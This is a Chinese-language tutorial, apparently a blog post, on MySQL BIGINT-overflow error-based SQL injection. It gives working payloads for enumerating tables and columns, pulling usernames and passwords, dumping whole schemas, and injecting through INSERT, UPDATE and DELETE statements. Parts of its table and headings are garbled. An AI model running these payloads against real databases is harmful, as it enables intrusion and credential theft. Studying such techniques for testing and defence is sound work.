sql注入BIGINT溢出
mysql 5.5.5及以上版本才有溢出错误
查看mysql文档来看看mysql存储数据的范围
11.2.1 Integer Types (Exact Value) - INTEGER, INT, SMALLINT, TINYINT, MEDIUMINT, BIGINT
MySQL supports the SQL standard integer types INTEGER
(or INT
) and SMALLINT
. As an extension to the standard, MySQL also supports the integer types TINYINT
, MEDIUMINT
, and BIGINT
. The following table shows the required storage and range for each integer type.
Table 11.1 Required Storage and Range for Integer Types Supported by MySQL
Type | Storage (Bytes) | Minimum Value Signed | Minimum Value Unsigned | Maximum Value Signed | Maximum Value Unsigned |
---|---|---|---|---|---|
TINYINT |
1 | -128 |
0 |
127 |
255 |
SMALLINT |
2 | -32768 |
0 |
32767 |
65535 |
MEDIUMINT |
3 | -8388608 |
0 |
8388607 |
16777215 |
INT |
4 | -2147483648 |
0 |
2147483647 |
4294967295 |
BIGINT |
8 | $ 2^63 $ | 0 |
BIGINT的长度为8字节64bit
1 | 0b0111111111111111111111111111111111111111111111111111111111111111 |
1 | MariaDB [test]> select 9223372036854775807; |
对这个数字加减就会产生溢出错误:
1 | MariaDB [test]> select 9223372036854775807+1; |
对0
取反就可以得到这个数字
1 | MariaDB [test]> select ~0; |
引发注入攻击
mysql 查询成功后会返回0, 取逻辑非变为1
1 | MariaDB [test]> select (select * from flag); |
所以思路就是查询的结果加上BIGINT
最大值(~0
), 如果成功则相当于1+ ~0
会产生溢出错误
1 | MariaDB [test]> select !(select * from flag)+~0; |
如果通过网页传递数据的话,+
号会被转化成空格,所以可以替换成下面几种写法:
1 | !(select*from(select user())x)-~0 |
利用这种基于BIGINT溢出错误的注入手法,我们可以几乎可以使用MySQL中所有的数学函数,因为它们也可以进行取反,具体用法如下所示:
1 | select !atan((select*from(select user())a))-~0; |
下面的我们已经测试过了,如果你愿意的话,还可以找到更多:)
1 | HEX |
0x003 提取数据
提取数据的方法,跟其他注入攻击手法中的一样,这里只做简单介绍。
首先,我们来获取表名:
1 | !(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0 |
取得列名:
1 | select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0; |
检索数据:
1 | !(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0; |
0x004 一次性转储
我们能够一次性转储所有数据库、列和数据表吗? 答案是肯定的。但是,当我们从所有数据库中转储数据表和列的时候,只能得到较少的结果,毕竟我们是通过错误消息来检索数据的。 不过,如果我们是从当前数据库中转储数据的话,一次最多可以转储27个结果。下面举例说明。
1 | !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 |
这些限制了我们可以检索的结果的数量,即最多27个。假设,我们在一个数据库中创建了一个31列的数据表。 那么,我们只能看到27个结果,而我的其他4个表和该用户数据表的其他列都无法返回。
0x05 利用插入语句进行注入
利用插入语句,我们也可以进行类似的注入攻击,具体语法为‘’ or (payload) or “”
。
1 | mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre'); |
我们还可以使用DIOS查询。
1 | insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre'); |
0x06 利用更新语句进行注入
利用更新语句,我们照样可以进行类似的注入,具体如下所示:
1 | mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4; |
0x07 利用更新语句进行注入
同样的,我们也可以利用删除语句进行注入,具体如下所示:
1 | mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or ''; |